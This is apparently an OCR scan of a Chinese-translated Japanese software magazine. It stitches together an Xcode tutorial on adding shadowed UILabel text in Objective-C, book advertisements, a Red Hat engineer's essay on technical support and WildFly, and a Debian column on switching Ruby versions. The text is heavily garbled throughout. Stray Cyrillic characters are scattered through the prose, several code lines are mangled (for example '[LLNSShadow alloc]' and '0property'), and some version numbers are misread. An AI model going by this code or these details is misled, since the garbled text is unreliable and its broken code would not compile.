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然后 调整 刚才 配置 的 Label 控 件 的 大 小 。 点 击 Label, 使 之 保 Ө step1-2 Size inspector 
持 被 选中 状态 ， 然 后 点 击 Xcode AMAI Size inspector( 尺 十 确认 ) [Ср a e viele 
图 标 ， ИИ ма л T; Y View — 





Height: [= » 把 这 文 些 值 设置 成 和 图 step1 -2 一样 。 24 个 Label 就 是 Show | Frame Rectangle == Э 
各 个 页 面 的 标题 。 20 上 加 更 器 





| 
| «+ + + рани P | T 
| | 280 (5) 50 B 
Е Width Height 
Origin 








把 刚才 配置 好 的 Label 的 字体 大 小 等 设置 成 标题 所 用 的 样 陈 。 

首先 把 字体 调 大 ， 并 加 粗 。 保 持 Label 为 被 选中 状态 ， 点 击 Xcode AMWAY Attribute Inspector( 属性 窗口 ) 
(图 step2-1 )。 

点 击 “Font” 项 目的 [了 图 标 ， 弹 出 字体 设置 菜单 。 点 击 字体 设 置 菜单 中 的 “Font” 选 项， 把 字体 设置 
为 System Bold ， 这 样 就 把 文字 设置 成 粗 体 了 。 另 外 ， 编 辑 Size 选项 ， 设 置 为 27， 把 字体 变 

其 次 ， 改 变 字体 的 颜色 。 点 击 属性 窗口 的 “Color” 选项 ， 选 择 “White Color”， 把 字体 颜色 设置 成 白色 
(图 step2-2 )。 

最 后 ， 把 文字 的 对 齐 方式 设置 成 居中 ” 显示。 点击 属性 窗口 的 “Allgnment 选项 的 正中 间 的 图 标 ， 
使 之 保持 被 选中 状态 (图 step2-3 )。 这 样 标题 文字 的 修饰 工作 就 完成 了 。 


© step2-1 Attributes inspector © step2-2 


ШИНИ Default 


Recently Used Colors 


иш ишт” гг го ш 
ипшшшгптш 


ИШЕ Dark Text Color 
Ш Group Table View Background Color 
E] Light Text Color 
ШШЕН Scroll View Textured Background Color 
Lines | Е Font | System Bold * | Co Table Cell Grouped Background Color 
j E View Flipside Background Color 

ея М Family | Helwetica = EEE Black Color и 

Style | Bold = ШШЕН Dark Gray Color 

Œ] Light Gray Color 


Size Г 27] ” i m= White Color 


=] Clear Color 


Alignment | = 


Behavio Other... 





© step2-3 


Є7 step3-1 
Alignment | = | 


中 图 к || © 
т Label 
Техї (ттен те 
Color | C | White Color | 





接 下 来 设置 标题 所 显示 的 文字 。 











在 属性 窗口 的 文本 输入 框 里 输入 标题 的 内 容 ( 图 step3-1 )。 初 始 монен = 
值 显示 的 是 “Label” 。 由 于 范例 的 第 一 页 是 一 副 沙漠 的 图 片 ， 所 以 这 二 
里 输入 表示 沙漠 的 意思 的 英文 单词 “Desert 。 С) Highlighted 





1E Ө step4-1 
27 Ж 4 
Већи I Enabied 
| Highlighted 


配置 用 于 显示 正文 的 控件 。 г 


Иве Breaks | Truncate Тай 


为 和 显示 标题 使 用 的 是 相同 кло (Fixe от че 


Tighten Letter Spacing 


的 控件 ， 所 以 从 对 象 库 中 再 拖 一 个 4 rghlisheed | mmm Себат 


Shadow! СС): Defauit 


“Label” 放 到 Page1ViewController 中 | ишш ыйа шы 
(图 step4-1 )。 大 小 按照 图 step4-2 来 н ш 
СЕВ о interaction | | User миегастюп Enabled 


мийіріе Touch 









Alpha J- 
Background | CZD ) Оеѓаши 
Drawing Opaque адеп 

回 clears Graphics Context 


м Clip Subviews 
М Ашогемте Subwiews 


®2 step4-2 


Stretching о о 





п пеј ш 









Show al Frame Rectangle 


20 В 100 9 


Label - А variably sized amount of 
static text 


Label 





Round =) р imercepts юка 





x Y 


events and у ction теуде 
Pi ШЕЕ target ob re 和 
| 280 ||) 230 |[;) ы 
ВЕЕ ы - ы ed Control - Di 
Width Height 112 sm meermin area 


functions аъ a discrete button 





Aj oblects DIE) 18) 





йо. 


将 表示 正文 的 Label 的 外 观 设置 成 正文 所 需 的 样式 。 

照 第 二 步 ， 在 属性 窗口 把 字体 设置 成 System ltalic 。 这 意 
球 着 把 字体 设置 成 了 斜体 。 字 体 的 大 小 保持 初始 值 17 残 可 以 了 。 Ty 
将 字体 颜色 设置 成 白色 ， 对 齐 方 式 设置 成 “居中 ”显示 。 Font Pm e 





2. 


к 


л а 行 一 项 设置 ， RIES 属性 窗口 中 的 Lines и аз == == === 
选项 (图 step5-1 )。 这 是 设置 Label” 控件 可 以 显示 多 少 行 的 选项 。 e 
初始 值 是 1， 对 于 标题 的 Label 而 言 ， 保 持 不 变 即 可 。 但 是 正文 不 деш с ве 


可 能 只 有 1 行 ， 所 以 需要 修改 这 个 值 。 本 例 中 设 为 10 行 。 

在 文本 输入 框 里 输入 正文 要 显示 的 内 容 后 制作 就 完成 了 (图 
step5-2 )。 本 例 中 输入 了 关于 沙漠 的 说 明文 字 。 

至 此 显示 字体 的 设置 就 全 部 结束 了 。 


А desert is а landscape or 
region of land that is very dry 
because of low rainfall 
amounts (precipitation), often 
has little coverage by plants, 
and in which streams dry up 
unless they are supplied by 
water from outside areas] 


Color | ШЕШ Default >: ч 





а == 


Lines | 四 aoli) 


Behawior мі Enabled 
C] Highlighted 
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IZIT 


完成 这 一 步 后 ， 运 行 一 下 ， 确 认 第 1 页 的 显示 内 容 。 

点 击 Xcode 窗 口 左上 角 的 “Run”( 执 行 ) 图 标 。 怎 么 样 ? 是 不 是 显示 出 如 图 
step6-1 所 示 的 画面 了 ?虽然 显示 文字 的 目的 达到 了 , 但 是 由 于 背景 图 片 的 原因 ， | 
可 能 文字 读 起 来 有 点 费劲 。 









67 ѕїерб -1 







ESRI FIZ 


PARTEIE, KE ер АЈ СИВ. 


点 击 Xcode 左 侧 的 项 目 导 航 中 的 “Page1ViewControllerh ， 显 示 其 源 代 人 码 。 在 代码 ІВ0и [еї UIImageView 
*раде11таде; 之 后 添加 如 下 两 行 。 











IBOutlet UILabel *titleLabel; 


IBOutlet UILabel *bodyLabel; 





同样 ， 在 property (nonatomic, retain) IBOutlet UIImageView *page1Image; 之 后 添加 如 下 两 行 。 


0property (nonatomic, retain) IBOutlet UILabel *titleLabel; 
0property (nonatomic, retain) IBOutlet UILabel *bodyLabel; 





然后 “Page1lViewControllerh” 就 应 该 如 图 step7-1 所 示 。 


© 51ер7-1 


IBOutlet Ш аһе1 *titleLabel; 
IBDutlet ШП аһе1 *bodyLabel; 


property (nonatomic, retain) IBOutlet UILabel *titleLabel; | 
aproperty (nonatomic, retain) IBOutlet UILabel *bodyLabel; 











接 下 来 在 实现 文件 Page1ViewControllerm ”中 添加 代码 。 
在 代码 synthesize page1Image ;之 后 添加 如 下 两 行 。 


Qsynthesize titleLabel; 
0Ssynthesize bodyLabel; 





另外 , 在 - (void)viewDidLoad 中 添加 如 下 代码 (添加 位 置 参照 图 step8-1 )。 


// 给 文字 添加 修饰 

// SERAIT 

NSShadow *shadowAttr = [LLNSShadow alloc] init]; 
[shadowAttr setShadowColor:[LUIColor blackColor]]; 
[shadowAttr setShadowBlurRadius:5.0]; 


// ЗОВЕ 01а 

NSMutableAttributedString *titleText = [C[NSMutableAttributedString alloc] 
initWithString:titleLabel.text]; 

[titleText addAttribute:NSShadowAttributeName value:shadowAttr range:NSMakeRange(0, 
[titleText lengthl)l; 

titleLabel.attributedText = titleText; 


// ЖОН Й+т\®ННЕШЕУ 

NSMutableAttributedString жродуТехї = CCNSMutableAttributedString alloc] 
initWithString:bodyLabel.text]; 

[bodyText addAttribute:NSShadowAttributeName value:shadowAttr гапде : М МакеКапде(0, 
[bodyText 

lengthl)l; 

bodyLabel.attributedText = БодуТехї; 





“Page1ViewControllerm” 是 不 是 变 得 和 图 step8-1 一 样 了 ? 

简单 说 明 一 下 这 段 代 码 是 做 什么 的 。 在 STEP7 中 添加 的 “UlLabel” 具有 用 于 修饰 的 属性 ( attributedText ), 
用 这 个 属性 做 成 文字 周围 的 阴影 的 设 定 ( NSShadow )， 并 运用 到 “titleLabel” 和 “bodyLabel”。 

至 此 ， 设 定 程序 怎样 运行 的 “剧本 已 经 完成 了 ， 接 下 来 分 配 一 下 角色 。 


在 故事 版 ( Storyboard ) 左 侧 的 “Page1 View Controller”， 按 住 [control 键 并 点 击 ， 会 弹出 一 个 对 话 框 (图 
step9-1 )。 

按 住 菜 单 “Outlets” 下 的 “titleLabel” 右 端的 O， 然后 拖 动 鼠标 ,会 出 现 蓝 色 的 线 ， 把 这 个 线 如 图 
step9-1 那样 连接 到 标题 用 的 “Label”。 

同样 把 “bodyLabel” 如 图 step9-2 那样 与 正文 用 的 “Label” 连 接 到 一 起 。 这 样 就 把 “角色 ”分 配 好 了 。 
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Ө step8-1 


synthesize titleLabel; 
synthesize боду ађбе1; 


fg 给 文字 添加 修饰 
f 设置 阴影 的 格式 
NSShadaw *shadowAttr = [[NSShadow alloc] init]; 


[shadowAttr setShadowColor: [UIColor blackColor]]; 
[shadowAttr веї5һайсыВ1игВай1и5:5.@]; 


^/ 把 阴影 样式 运用 到 标题 


NsSMutableAtitributedSstring *titleText = [[NSMutableAttributedString alloc] initWithString:titleLabel.text]; 
[titleText addAttribute:NSShadowAttributeName value:shadowAttr гапде:М№5МакеВапде(@ё, [titleText Length]})]; 
titleLabel.attributedText = titleTexts: 


^/ 把 阴影 样式 运用 到 正文 


NSMutableAtiributedSstring *bodyText = [[NSMutableAttributedString alloc] initWithString:bodyLabel.text]; 
[bodyText addAttribute:NSShadowAttributeName walue:shadowAttr range:NSsMakeRangel8, [bodyText Length]}]; 
bodyLabel.attributedText = bodyText; 





Ө step9-1 


‚Ё Fagel View Controller Scene 
E Æ Pagel Vie Fagel View Controller 
Triggered Segues 
manual 
Outlets 
bodylLabel 
раде Штаде и Image... 
searchDisplayControlber 
titlelLabel 
@ First Resp ШШ 
Exit Presenting Seyues 


_ relationship a Waviyal... 
Ө Unwind 5 root wia... 


pish 

modal 

custom | 

embed С) | pr Ea 
Referencing Outlets | | Label – Desert | 

New Referencing Outlet [ ) 
”Referencing Outlet Collections 

New Referencing Outlet Collection 人 ) 

Received Actions 

page 1Retumšegue: 


С) Paged View Controller 
Шр First Responder 
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62 step9-2 














Э Pagel view Controller Scene 






Раде1 View Controller 
з R T Triggered Segues 


Presenting Segues 
@u relationship и Navigat.. @ 


root vie... 
о Ру push 
modal 
custom 


ь r 
© м Referencing Outlets 
E New Referencing Outlet O) 
т Referencing Outlet Collections 


Q U New Referencing Duder Collection OO 
О ^ v Received Actions 
page lReburnSegee 


> (J Pages View Controller 
@ First Responder 
E Exit 
@ unwind segue from Bunton to Exit 
©) Push segue from Button to Page5 М t е 


EJ Pages view Controller Scene 


> LJ Раде5 View Controller 
3 First Responder 











再 运行 一 次 来 确认 效果 。 是 不 是 和 本 文 开头 
的 图 1 一 样 ， 在 文字 周围 加 上 了 阴影 效果 ， 读 起 
来 更 容易 了 ?” 看 起 来 也 更 酷 了 ? 同 梓 ， 请 尝试 一 
下 在 别 的 页 面 上 也 加 上 文字 显示 。 





Label - A desert is a landscape or region of land tha 


Е 


ЕЗ 





ө 


ТЯМ 


怎么 样 ? 从 连载 开始 到 本 回 的 内 容 为 止 ， 
芷 为 “ 书 ” 的 最 基本 的 功能 应 该 都 已 经 具备 本 。 
光 然 是 应 用 程序 ， 从 下 回 开 始 就 要 语 加 应 用 程 
序 特有 的 功能 了 。 馈 请 期 待 ! 





—~~ 








УШ 


— 
一 一 





延伸 阅读 


写作 功底 深厚 。 


(ж68) 


#810575 





TAB IOS JFE (Я 6 We) 


• PXIRRIT SÆ 50 000 册 ! 全 球 数 百 万 i0S 开 发 者 交口 称赞 的 i0S 开 发 圣经 ! 


本 书 是 i0s 应 用 开 上 友 的 入 门 和 中 级 开 友 指南 ， 内 容 翔 实 , 语言 生动 。 作 者 结合 
循序 新 进 地 讲解 了 适用 于 iPhoneNiPad 开 上 友 的 基本 流程 。 本 书 作者 均 为 苹果 资深 移动 开 友 专家 ， 


量 实例 ， 


е 
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话说 “技术 支持 工作 





小 西 高 之 红 帽 (股份) 全 球 支持 服 
KONISHI Takayuki | 务 技术 支持 工程 师 
译 / 王 凤 波 
99 » 
FIR TR у А 





大 家 好 ! 我 叫 小 西 。 初 次 见面 ， 请 多 关照 。 
在 公司 里 我 是 一 个 素来 无 人 问津 的 不 起 眼 的 小 人 
物 ， 只 是 因为 偶然 间 与 正在 物色 摆 稿 人 的 藤田 多 
生 对 视 了 一 下 ， 便 有 举 担当 起 了 本 次 惠 比 寿 报道 
的 摊 稿 工作 。 上 入 报道 中 ， 大 村 先生 将 蜂 栏 一 
子 提升 到 了 难以 逾越 的 高 度 ， 人 然而 栏杆 太 高 了 反 
而 可 以 轻易 地 从 下 面 穿 越 ， 让 我 可 以 放下 包 裕 ， 
轻松 愉快 地 为 大 家 完成 本 篇 报道 。 

笔者 与 大 村 一 样 ， 都 是 红 帽 公司 的 技术 文 
持 工 程 师 。 不 知道 大 家 对 于 技术 文 持 工作 是 否 有 
所 了 解 。 笔 者 在 人 职 红 帽 公司 之 前 从 事 的 是 开发 
工作 ， 而 且 对 于 所 使 用 的 软件 产品 从 来 没有 过 回 
有 关 技 术 文 持 部 门 进行 咨询 的 经 历 ， 所 以 在 目 己 
杀 目 从 事 技术 文 持 工作 之 前 ， 对 于 技术 文 持 的 概 
念 一 直 是 很 模糊 的 。 这 一 次 笔者 就 围绕 看 技术 文 
持 的 日 冲 工 作 内 容 为 大 家 做 一 下 介绍 。 顺 便 提 
一 下 ， 笔 者 所 在 的 部 门 负责 的 是 机 oss Enterprise 
Application Platform 等 中 间 件 的 支持 工作 ,为 外 
还 有 一 个 部 门 负 责 Red Hat Enterprise Linux 等 平 
合 的 支持 工作 。 
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中 间 件 的 最 新 资讯 








在 进入 正题 之 前 ， 首 和 完 与 大 家 分 至 一 下 中 
间 件 产品 的 几 个 最 新 劲 问 ， 当 然 也 可 能 会 涉 
及 一 些 老生 常 谈 的 内 容 。 冰 和 完 ， 社 区 版 JBoss 
Application Server( JBoss AS ) 已 经 正式 更 名 
为 WildFly “(参见 图 1)。 如 今 JBoss 这 一 名 称 
在 社区 、JBoss AS 以 及 各 种 各 样 的 中 间 件 产品 
中 都 有 着 广泛 的 应 用 , 已 经 很 难 区 别 具 体 指 
的 是 什么 了 ， 所 以 社区 就 更 名 一 事 举 行 了 投 
票 ， 并 于 4 月 份 正式 做 出 了 更 名 的 决定 ， 同 时 
还 公布 了 WildFly 的 LOGO。 关 于 WildFly 的 
变化 之 处 ， 其 中 一 项 就 是 迄今 为 止 JBoss AS 
中 的 Web 容 需 组 件 一 直 都 是 采用 源 于 Tomcat 
的 JBossWeb2， 而 WildFly 中 则 更 换 成 了 一 个 
吊 作 Undertow“ 的 组 件 ， 并 追加 了 一 些 新 的 功 
能 ， 比 如 Websocket 相 关 的 处 理 等 。WildFly 的 
第 一 个 版 本 号 是 WildFly8， 接 棒 JBoss AS 7. 
截至 本 篇 报道 撰 稿 之 时 ,最 新 发 布 的 版 本 是 
8.0.0.Alpha3， 而 且 正 在 面向 Java EE 7 进行 着 
下 一 版 本 的 开发 活动 。 

















Е “ВЕКЕ” 工作 


技术 文 持 工作 首先 从 客户 提出 的 咨询 开始 。 
у 1 ”WildFly 的 LOGO 标 志 


>< 
WildFly 


我 们 公司 通过 客户 门户 系统 (简称 CP ) 以 及 电 





GD http://wildfly.org/ 

(2) http://www.jboss.org/jbossweb 
(3) http://undertow.io/ 

(4) http://access.redhat.com/ 








话 的 形式 受理 客户 提出 的 问题 ， 为 了 尽快 地 为 
客户 做 出 解答 ， 我 们 每 天 部 在 不 懈 地 努力 工作 
着 。 客 户 提 出 的 每 一 个 问题 都 会 被 整理 成 问题 
票 ， 并 被 登录 到 问题 票 管理 系统 中 。 一 线 技术 
工程 师 会 对 其 进行 初步 确认 。 从 前 笔者 在 从 事 
开发 工作 的 时 候 ， 首 先 会 将 开发 项 目 分 解 成 多 
个 任务 ， 然 后 再 逐一 去 完成 。 问 题 票 的 分 拱 工 
作 与 此 很 是 相近 , 但 是 处 理 方法 却 截 然 不 同 ， 


大 致 可 以 概括 为 以 下 几 点 。 

A 每 一 个 问题 票 С 
都 有 了 明确 的 回答 期 限 

在 开发 工作 中 ， 对 于 完成 某 个 任务 所 需要 
的 时 间 可 以 提前 进行 预 舍 ， 而 在 支持 工作 中 ， 
咨询 的 回答 期 限 是 有 明确 要 求 的 ， 比 如 有 的 
咨询 要 求 在 24 小 时 之 内 必须 做 出 相应 的 解答 。 
咨询 内 容 的 难 易 度 与 回答 期 限 没 有 任何 的 关联 ， 
最 好 能 够 马上 就 做 出 解答 。 然 而 有 些 问 题 相 当 
复杂 ， 是 无 论 如 何 也 难以 在 规定 的 期 限 之 内 了 巴 
以 解决 的 。 但 是 话 又 说 回来 ， 对 于 这 样 的 问题 
该 如 何 尽快 地 予以 解决 ， 也 正 是 我 们 技术 支持 
工作 的 最 大 乐趣 。 


























首先 进行 案例 调查。 人 


开发 工作 肯定 会 涉及 编码 、 修 改 设计 、 测 
试 等 实 实在 在 的 工作 内 容 ， 而 技术 支持 工作 却 
未 必 全 部 都 需要 动手 去 调查 。 首 先 可 以 查看 一 
下 知识 库 。 知 识 库 中 清晰 地 汇总 了 以 往 的 咨询 
内 容 以 及 解决 方法 ， 有 时 只 要 查询 一 下 日 志 消 
息 就 可 以 一 下 子 找到 想 要 的 答案 。 另 外 ， 我 们 
公司 的 产品 也 有 社区 版 的 ， 因 此 有 时 也 可 以 从 
社区 网 站 中 寻找 到 答案 。 这 些 工作 从 某 种 程 
度 上 而 言 只 要 通过 一 些 机 械 性 的 操作 就 可 以 完 
成 。 另 外 CP 系统 中 也 引进 了 一 套 试用 版 的 知 
识 库 自动 检索 功能 ,可 以 在 客户 填写 提问 内 容 
的 同时 自动 检索 并 提示 类 似 的 知识 点 。 如 果 客 
户 提问 的 问题 与 自动 提示 的 知识 点 一 致 ， 那 就 
































© 中 间 件 请 参见 http://jboss.org/ 
© 现在 只 支持 英文 。 





SN 
De 


和 деў 29 





话说 “技术 支持 ”工作 





有 望 能 够 尽早 地 解决 该 问题 了 。 但 是 由 于 用 户 
的 使 用 方法 不 同 ， 环 境 也 存在 着 差异 ， 所 以 几 
乎 每 天 都 会 有 新 的 案例 发 生 ， 并 被 积 素 到 知识 
库 当 中 。 


ERE E> 


而 在 找 不 到 相似 案例 的 时 候 就 要 视 情况 查 
看 源 代码 ， 或 者 采取 将 问题 再 现 的 方式 来 寻求 
答案 。 如 果 这 样 依然 无 法 解决 的 话 ， 就 要 尽快 
委托 相关 领域 的 专家 进行 协助 调查 了 。 知 道 该 
何 时 请 专家 出 场 是 非常 关键 的 。 首 先 要 在 技术 
支持 部 门 内 部 请 求 协 助 "， 有 时 其 至 会 请 远 在 欧 
洲 或 者 美国 的 专家 做 出 解答 。 如 果 这 样 依然 无 
法 找到 答案 的 话 ， 就 需要 进一步 请 教 开发 该 软 
件 的 技术 人 员 了 。 另 外 ,我们 还 时 常 向 平台 小 
组 请 求 协助 ， 因 为 很 多 他 们 看 来 常识 性 的 东西 
在 中 间 件 技术 人 员 看 来 往往 却 是 很 陌生 的 。 反 
过 来 亦 是 如 此 ， 因 此 通过 向 他 们 进行 咨询 ， 同 
时 也 实现 了 双方 的 互补 互惠 。 









































工作 流程 的 目 癌 改善 


想必 通过 上 面 的 介绍 大 家 对 于 大 致 的 工作 
流程 已 经 有 了 一 定 的 了 解 ， 然 而 具体 的 工作 流 
程 实际 上 是 经 常 发 生变 化 的 。 例如， 自从 我 
们 去 年 对 知识 库 的 编辑 工具 做 出 较 大 修改 以 
来 ， 就 一 直 在 不 断 地 对 接口 进行 细微 的 调整 。 
从 小 的 层面 上 讲 ， 各 个 工程 师 也 会 制作 一 些 
Greasemonkey 脚 本 或 者 简单 的 工具 分 享 给 大 家 
使 用 ， 因 此 与 半年 前 相 比 ， 工 作 流程 的 变化 可 
以 说 达到 了 惊人 的 程度 。 当 然 变化 太 大 有 时 候 
也 会 令 人 摸 不 着 头脑 ， 但 是 从 整体 上 而 言 ,， 与 
总 是 一 成 不 变 地 固守 同一 工作 方法 相 比 ， 反 复 
不 断 地 进行 反馈 与 改善 才 是 更 好 的 选择 。 

这 一 次 ,我 们 以 工作 流程 为 中 心 为 大 家 介 
绍 了 技术 支持 工作 。 正 如 上 面 为 大 家 介绍 的 那 
样 ， 为 了 尽快 地 解决 客户 所 咨询 的 问题 ， 技 术 



































D 需要 使 用 英文 对 概要 和 提问 内 容 进行 总 结 。 
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文 持 工程 师 们 每 天 都 在 努力 地 奋斗 着 。 除 此 之 
外 ， 技 术 文 持 团 队 还 参与 着 产品 的 国际 化 以 及 
产品 的 开发 工作 。 这 是 0OSS 产品 的 与 众 不 同 之 
处 ， 我 想 也 正 是 0SS 产品 最 具 魅 力 的 地 方 吧 。 


的 一 个 小 巷子 里 ， 有 一 家 叫 作 “HIRAGI” 的 
铜 鱼 烧 小 店 ， 颇 有 名 气 。 这 里 的 铜 鱼 烧 在 经 过 
30 多 分 钟 的 烧烤 之 后 ， 外 皮 酥 脆 ， 豆 馅 润滑 ， 
十 分 香甜 可 口 。 可 以 作为 午餐 后 的 茶点 ， 也 可 





以 作为 小 礼品 赠送 亲朋 好 友 。 如 果 大 家 有 机 会 
光临 惠 比 寿 ， 请 一 定 去 试 一 试 ， 建 议 大 家 购买 
之 后 立即 品尝 ， 味 道 更 佳 。 

另外 ， 多 次 听 人 介绍 说 这 里 的 午餐 味道 很 
好 ， 所 以 我 为 大 家 制作 了 一 份 简单 的 午餐 攻略 
图 名 ， 大 家 可 以 借鉴 一 下 。 














回顾 以 前 的 惠 比 寿 报道 ， 我 有 一 个 重大 的 
发 现 ， 那 孢 是 几乎 每 个 小 标题 的 前 面 都 有 一 个 
鳃 鱼 的 插图 ， 可 似乎 从 来 没有 人 谈 起 过 惠 比 寿 
НЧА Т 在 距离 下 火车 站 东 出 口 步行 几 分 钟 








http://goo.gl/maps/5AJ3G 
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讲述 计算 机 先驱 传奇 编程 生涯 


“演绎 编程 、 思 维 与 生活 交汇 之 美 
“畅销 经 典 审 校 修订 、 分 拆 两 卷 重新 出 版 


这 是 访谈 笔录 ， 记 录 了 当今 最 具 个 人 魅力 的 15 位 软件 先 
驱 的 编程 生涯 。 包 括 Donald Knuth, Jamie Zawinski, Joshua 
Bloch, Ken Thompson 等 在 内 的 业界 传奇 人 物 ， 为 我 们 讲述 了 他 
们 是 怎么 学 习 编 程 的， 在 编程 过 程 中 发 现 了 什么 以 及 他 们 对 未 来 
的 看 法 ， 并 对 诸如 应 该 如 何 设计 软件 等 长 久 以 来 一 直 困 扰 很 多 程 
序 员 的 问题 谈 了 自己 的 观点 。 中 文 版 分 为 上 下 卷 ， 上 卷 介绍 8 位 
大 师 ， 下 卷 介 绍 7 位 大 师 。 


Peter Seibel Common Lisp ER, Jolt 生产 效 率 大 奖 图 书 Practical Соттоп Lisp 作者 。 
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eLinux 之 父 LinusTorvalds 唯一 自传 
• 幽默 风趣 ， 畅 谈 兴 趣 对 非凡 人 生 的 影响 
。 完 美 融合 人 生 、Linux 与 开源 历史 

内 是 为 了 好 斌 


Linu LARINA 


“有 些 人 生来 就 注定 能 领导 几 百 万 人 ， 有 些 人 生来 就 注定 能 写 出 翻天 覆 地 的 软件 。 但 只 
一 个 人 两 样 都 能 做 到 : 托 瓦 效 。 
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Software Design 的 读者 朋友 们 ， 你们 好 。 
我 是 Debian ЈР Project 的 佐 优 木 。 本 期 将 由 我 
接替 山 根 秀 树 来 负责 专栏 Debian 热 点 的 撰写 工 





作 ， 还 请 大 家 多 多 关照 。 

本 期 和 下 期 的 Debian 热 点 将 为 大 家 介绍 
一 下 Debian 中 的 Ruby 以 及 Ruby 相 关 软 件 的 
打包 工作 。 与 前 几 期 讨论 的 内 容 相 比 ， 可 能 及 
格 上 会 略 有 不 同 ， 但 是 大 家 可 以 把 它 作 为 分 布 
式 开 发 的 一 个 经 典 和 案例 来 阅 谈 ， 和 布 望 大 家 能 够 


АХ 








Ruby іп Debian 





首先 为 大 家 简要 地 介绍 一 下 Debian Ruby 
包 的 情况 。 现 在 Debian 中 Ruby 的 相关 程序 包 
涉及 以 下 三 个 版 本 ,截至 本 文 撰 稳 之 时 ，stable 
(Wheezy)、testing (Jessie), unstable (Sid) 全 部 
都 已 经 使 用 相同 的 版 本 完成 了 打包 工作 。 








“Ruby 1.8.7 (patchlevel 358) 
* Ruby 1.9.3(1.9.3p194, rev 34510) 
e JRuby 1.5.6 (ruby 1.8.7 patchlevel 249) 


正如 大 家 所 知道 的 那样 ， 其 中 Ruby 1.8.7 E 
经 从 2013 年 6 月 30 日 起 正式 脱离 了 Debian 的 文 
持 范 围 。 这 与 2011 年 10 月 6 日 公布 的 日 程 安排 
是 一 致 的 。 根 据 这 个 日 程 安排 ， 关 于 Debian7.1 
(Wheezy) 中 是 否 提供 对 于 Rubyl.8.7 的 支持 ， 


文 /Debian JP Project 佐佐木 洋 平 ( Youhei Sasaki ) 
имараті @ аеріап.ог.јр Twitter: @uwabami 译 / 王 凤 波 


Rubyiin Debian (1) 、 



























经 引发 过 讨论 ， 并 开展 了 相关 的 迁移 工作 以 
及 无 法 迁移 的 程序 包 的 应 对 工作 。 结 果 因 为 与 
Ruby1.8.7 息 息 相 关 的 其 他 程序 包 的 迁移 工作 难 
以 在 发 布 之 前 (准确 地 说 应 该 是 在 宣布 冻结 之 
前 ) 完 成 ， 所 以 Wheezy 中 没有 删除 而 是 保留 了 
对 于 Ruby1.8.7 的 支持 。 虽 然 正 式 的 日 程 还 没有 
确定 ,但 是 testing 和 unstable 也 将 于 近期 内 市 
除 Ruby1.8.7。 由 此 Wheezy 将 成 为 Debian 中 最 
后 一 个 提供 Ruby1.8.7 的 发 布 版 本 。 

妨 外 ，Ruby 的 最 新 版 本 是 1.7.4， 而 Debian 
中 的 程序 包 则 是 稍微 老 一 点 的 版 本 ， 这 是 
为 Ruby 是 在 Wheezy 冻 结 之 前 被 正式 纳入 为 
Debian 程 序 包 的 ， 因 此 错过 了 上 游 更 新 的 时 机 。 
今后 计划 由 Debian Java Team 实施 更 新 。 

除 此 之 外 , 现在 正在 开发 中 的 程序 包 包 括 : 


中 

















e Rubinius 


: mruby 2 


. Ruby 2.0® 





mruby 目前 正 处 于 测试 阶段 ， 感 兴趣 的 读者 请 务 
必 使 用 mruby 的 Pack ge Track ng System ( PTS ) 
与 维护 工程 师 取 得 联系 。 男 外 ，Ruby 20 将 于 
近期 被 上 传 到 unstable 中 。 





GD #591817 - ITP: rubinius -- Rubinius is an imple mentation 
of the Ruby programming language http://bugs.debian. 
org/cgi-bin/bugreport.cgi?bug=59181 

(2) Debian Package Tracking System - mruby http://packages. 
qa.debian.org/m/mruby.html 

(З) #697703 - ITP: ruby2.0 -- Ruby Programming Language http:// 
bugs.debian.org/cgi-bin/bugreport.cgi?bug=697703 





,Rubyin Wheezy .| 





接 下 来 为 大 家 概括 一 下 Ruby 在 新 稳定 版 

Wheezy 中 的 变化 之 处 。 
CRuby alternatives, 
~ ruby-switch 

在 旧 稳 定 版 Squeeze F, /usr/bin/ruby 是 指 
[п] /usr/bin/ruby1.8 的 符号 链接 。 到 了 Wheezy 以 
后 ， 开 始 通 过 Alternatives 对 /usr/bin/ruby 进行 
管理 ， 并 可 以 根据 需要 将 /usr/bin/ruby 切 换 到 
ruby1.8 或 者 ruby1.9.1。 如 果 您 使 用 的 环境 中 同 
时 安装 了 ruby1.8 和 ruby1.9.1, 那么 默认 情况 下 ， 
/usr/bin/ruby 执 行 的 将 是 /sr/bin/ruby1.9.149， 如 
图 1 所 示 。 如 果 和 希望 /usr/bin/ruby 执行 /usr/bin/ 
ruby1.8， 则 可 以 通过 使 用 update-alternatives 将 
/usr/bin/ruby 切换 至 /usr/bin/ruby1.8( 图 2)。 





D 命令 名 称 使 用 的 是 /usr/bin/ruby19 ,但 实际 执行 的 是 
ruby19 。 因 为 mby19 和 rubyl9 是 二 进 制 兼容 的 
( soname 没 有 变化 )， 所 以 命令 名 称 继续 沿用 了 ruby1.9.1。 


У 1 默认 情况 下 执行 /usr/bin/ruby1.9.7 


$ 15 -la /usr/bin/ruby 

Lrwxrwxrwx 1 root root 22 6H 10 18:39 /usr/bin/ruby 
-> /etc/alternatives/ruby 

$ ls -la /etc/alternatives/ruby 


У 2 将 /usr/bin/ruby 切 换 至 /usr/bin/ruby1.8 


$ sudo update-alternatives --config ruby 
alternative ruby (提供 /usr/bin/ruby) 中 有 2 个 可 选项 。 


优先 级 。 ”状态 


/usr/bin/ruby1.9.1 51 
Гиѕг/Біп/гиру1. 8 50 
/usr/bin/ruby1.9.1 51 
保持 当前 选择 项 [*] 不 变 请 按 Enter 键 ， 否 则 请 输入 
选项 编号 : 1 


update-alternatives: /usr/bin/ruby (ruby) 将 通过 手动 
模式 使 用 /usr/bin/ruby1.8 

$ ruby -v 

гиру 1.8.7 (2012-02-08 patchlevel 358) [Lx86 04-Linux] 


gem 也 同样 可 以 进行 切换 。 为 此 ，/usr/ 
bin/ruby 执行 /usr/bin/ruby1.8 而 /usr/bin/gem $A 
行 /usr/bin/gem1.9.1 的 特殊 情况 也 是 可 以 实现 
的 。 但 话 虽 如 此 ， 实 在 是 难以 想象 得 到 实现 这 
АУН РА СЕА с TE) 
为 了 实现 ruby 和 gem 的 同时 切换 ， 从 Wheezy 
以 后 开始 引入 了 一 球 叫 作 ruby-switch 的 程序 包 
(图 3)。 

归根 结 底 ，ruby-switch 命 令 只 不 过 是 根据 
需要 的 次 数 多 次 重复 调用 update-alternatives 而 
已 ， 但 是 因为 它 能 够 一 次 性 实现 系统 层面 的 
Ruby 切 换 操 作 ， 因 此 希望 大 家 务必 对 其 加 以 
灵活 使 用 。 


(9 外 部 库 的 包 名 和 安装 路 径 的 变 


迄今 为 止 , 与 Ruby 没 有 进行 捆绑 的 ( 比 
如 类 似 于 Gem 中 发 布 的 ) 外 部 库 ， 其 软件 包 大 
